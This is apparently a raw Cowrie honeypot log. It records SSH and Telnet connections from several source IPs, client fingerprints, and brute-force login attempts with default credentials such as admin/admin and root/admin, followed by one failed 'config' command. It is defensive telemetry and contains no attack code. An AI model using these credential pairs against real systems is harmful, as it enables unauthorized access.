{"eventid":"cowrie.session.closed","duration":44.44257688522339,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:02:33.361363Z","src_ip":"45.58.127.90","session":"27f7daae35aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.067163467407227,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:02:38.873218Z","src_ip":"189.18.135.194","session":"2858902c346c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.227.254.170","src_port":22242,"dst_ip":"159.203.135.109","dst_port":22,"session":"f46264d5b87d","protocol":"ssh","message":"New connection: 45.227.254.170:22242 (159.203.135.109:22) [session: f46264d5b87d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:03:05.144556Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PUTTY","message":"Remote SSH version: SSH-2.0-PUTTY","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:03:05.150221Z","src_ip":"45.227.254.170","session":"f46264d5b87d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5bd26477da5440a6187bd3f1b39a429c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5bd26477da5440a6187bd3f1b39a429c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:03:05.261497Z","src_ip":"45.227.254.170","session":"f46264d5b87d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:03:05.707958Z","src_ip":"45.227.254.170","session":"f46264d5b87d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.57.216.23","src_port":61412,"dst_ip":"159.203.135.109","dst_port":22,"session":"f9670eb9fee9","protocol":"ssh","message":"New connection: 31.57.216.23:61412 (159.203.135.109:22) [session: f9670eb9fee9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:03:07.604556Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:03:07.609431Z","src_ip":"31.57.216.23","session":"f9670eb9fee9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.91557049751282,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:03:07.730008Z","src_ip":"45.58.127.90","session":"d356fc875bd1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.57.216.23","src_port":61424,"dst_ip":"159.203.135.109","dst_port":22,"session":"5aaa40c56ed2","protocol":"ssh","message":"New connection: 31.57.216.23:61424 (159.203.135.109:22) [session: 5aaa40c56ed2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:03:07.792211Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.2","message":"Remote SSH version: SSH-2.0-libssh_0.11.2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:03:07.797004Z","src_ip":"31.57.216.23","session":"5aaa40c56ed2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:03:07.901316Z","src_ip":"31.57.216.23","session":"5aaa40c56ed2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mehdi","password":"mehdi","message":"login attempt [mehdi/mehdi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:03:08.109713Z","src_ip":"31.57.216.23","session":"5aaa40c56ed2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:03:09.227491Z","src_ip":"31.57.216.23","session":"5aaa40c56ed2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.239.15.75","src_port":58292,"dst_ip":"159.203.135.109","dst_port":22,"session":"17de7efc9a77","protocol":"ssh","message":"New connection: 47.239.15.75:58292 (159.203.135.109:22) [session: 17de7efc9a77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:03:13.674045Z"}
{"eventid":"cowrie.session.closed","duration":120.0050060749054,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:03:19.660451Z","src_ip":"217.194.249.36","session":"6f0d71f17ba6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:03:20.113045Z","src_ip":"47.239.15.75","session":"9b26c6d1187f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:03:42.465096Z","src_ip":"47.239.15.75","session":"0752ac5abd78","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:03:45.041048Z","src_ip":"47.239.15.75","session":"17de7efc9a77","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:03:45.051331Z","src_ip":"47.239.15.75","session":"17de7efc9a77","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123456","message":"login attempt [user/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:04:09.307354Z","src_ip":"47.239.15.75","session":"17de7efc9a77","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"59.6","message":"Connection lost after 59.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:04:13.260478Z","src_ip":"47.239.15.75","session":"17de7efc9a77","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.96.138.233","src_port":62432,"dst_ip":"159.203.135.109","dst_port":22,"session":"1fdc8f79f5c6","protocol":"ssh","message":"New connection: 195.96.138.233:62432 (159.203.135.109:22) [session: 1fdc8f79f5c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:04:24.154531Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-paramiko_4.0.0","message":"Remote SSH version: SSH-2.0-paramiko_4.0.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:04:24.164496Z","src_ip":"195.96.138.233","session":"1fdc8f79f5c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"a2de0f306611e0957be704f5b0e35a82","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc,aes128-gcm@openssh.com,aes256-gcm@openssh.com;hmac-sha2-256,hmac-sha2-512,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-md5,hmac-sha1-96,hmac-md5-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc","aes128-gcm@openssh.com","aes256-gcm@openssh.com"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-md5","hmac-sha1-96","hmac-md5-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: a2de0f306611e0957be704f5b0e35a82","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:04:24.237841Z","src_ip":"195.96.138.233","session":"1fdc8f79f5c6","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:04:24.547026Z","src_ip":"195.96.138.233","session":"1fdc8f79f5c6","protocol":"ssh"}
{"eventid":"cowrie.client.size","width":80,"height":24,"message":"Terminal Size: 80 24","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:04:24.771339Z","src_ip":"195.96.138.233","session":"1fdc8f79f5c6","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:04:24.858162Z","src_ip":"195.96.138.233","session":"1fdc8f79f5c6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"config","message":"CMD: config","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:04:26.979310Z","src_ip":"195.96.138.233","session":"1fdc8f79f5c6","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"config ","message":"Command not found: config ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:04:26.983181Z","src_ip":"195.96.138.233","session":"1fdc8f79f5c6","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f612b89bcdbc401379f644d7e48572e3470f77dcd4c39416405d80952ad7089e","size":369,"shasum":"f612b89bcdbc401379f644d7e48572e3470f77dcd4c39416405d80952ad7089e","duplicate":true,"duration":"4.1","message":"Closing TTY Log: var/lib/cowrie/tty/f612b89bcdbc401379f644d7e48572e3470f77dcd4c39416405d80952ad7089e after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:04:29.000037Z","src_ip":"195.96.138.233","session":"1fdc8f79f5c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:04:29.004450Z","src_ip":"195.96.138.233","session":"1fdc8f79f5c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.46.255.86","src_port":62201,"dst_ip":"159.203.135.109","dst_port":22,"session":"52d66e3e9f05","protocol":"ssh","message":"New connection: 193.46.255.86:62201 (159.203.135.109:22) [session: 52d66e3e9f05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:04:29.358890Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:04:29.363680Z","src_ip":"193.46.255.86","session":"52d66e3e9f05","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:04:29.489931Z","src_ip":"193.46.255.86","session":"52d66e3e9f05","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"","password":"","message":"login attempt [/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:04:30.072437Z","src_ip":"193.46.255.86","session":"52d66e3e9f05","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":37250,"dst_ip":"10.17.0.5","dst_port":23,"session":"760dfdaa5b21","protocol":"telnet","message":"New connection: 45.58.127.90:37250 (10.17.0.5:23) [session: 760dfdaa5b21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:04:30.519482Z"}
{"eventid":"cowrie.session.closed","duration":0.05483102798461914,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:04:30.574173Z","src_ip":"45.58.127.90","session":"760dfdaa5b21","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:04:31.210297Z","src_ip":"193.46.255.86","session":"52d66e3e9f05","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":37788,"dst_ip":"10.17.0.5","dst_port":23,"session":"890aebe51dcc","protocol":"telnet","message":"New connection: 45.58.127.90:37788 (10.17.0.5:23) [session: 890aebe51dcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:05:38.131634Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":51620,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f807d3099f4","protocol":"telnet","message":"New connection: 45.58.127.90:51620 (10.17.0.5:23) [session: 1f807d3099f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:05:59.985258Z"}
{"eventid":"cowrie.session.closed","duration":45.5209903717041,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:06:23.652547Z","src_ip":"45.58.127.90","session":"890aebe51dcc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":45052,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ec19ddd0c4e","protocol":"telnet","message":"New connection: 45.58.127.90:45052 (10.17.0.5:23) [session: 9ec19ddd0c4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:06:32.501251Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.71.233.73","src_port":27719,"dst_ip":"10.17.0.5","dst_port":22,"session":"76d1ec22e94e","protocol":"ssh","message":"New connection: 185.71.233.73:27719 (10.17.0.5:22) [session: 76d1ec22e94e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:06:43.025659Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Renci.SshNet.SshClient.0.0.1","message":"Remote SSH version: SSH-2.0-Renci.SshNet.SshClient.0.0.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:06:43.029728Z","src_ip":"185.71.233.73","session":"76d1ec22e94e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"748f8c627d3f8ff9921d02f86f55ba2c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc,blowfish-cbc,twofish-cbc,twofish192-cbc,twofish128-cbc,twofish256-cbc,arcfour,arcfour128,arcfour256,cast128-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-512-96,hmac-sha2-256-96,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-md5-96-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc","blowfish-cbc","twofish-cbc","twofish192-cbc","twofish128-cbc","twofish256-cbc","arcfour","arcfour128","arcfour256","cast128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-512-96","hmac-sha2-256-96","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-md5-96-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 748f8c627d3f8ff9921d02f86f55ba2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:06:43.244746Z","src_ip":"185.71.233.73","session":"76d1ec22e94e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:06:43.909856Z","src_ip":"185.71.233.73","session":"76d1ec22e94e","protocol":"ssh"}
{"eventid":"cowrie.client.size","width":80,"height":60,"message":"Terminal Size: 80 60","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:06:44.458868Z","src_ip":"185.71.233.73","session":"76d1ec22e94e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:06:44.748451Z","src_ip":"185.71.233.73","session":"76d1ec22e94e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.71.233.73","src_port":27738,"dst_ip":"159.203.135.109","dst_port":22,"session":"11cd6d513d82","protocol":"ssh","message":"New connection: 185.71.233.73:27738 (159.203.135.109:22) [session: 11cd6d513d82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:06:45.281399Z"}
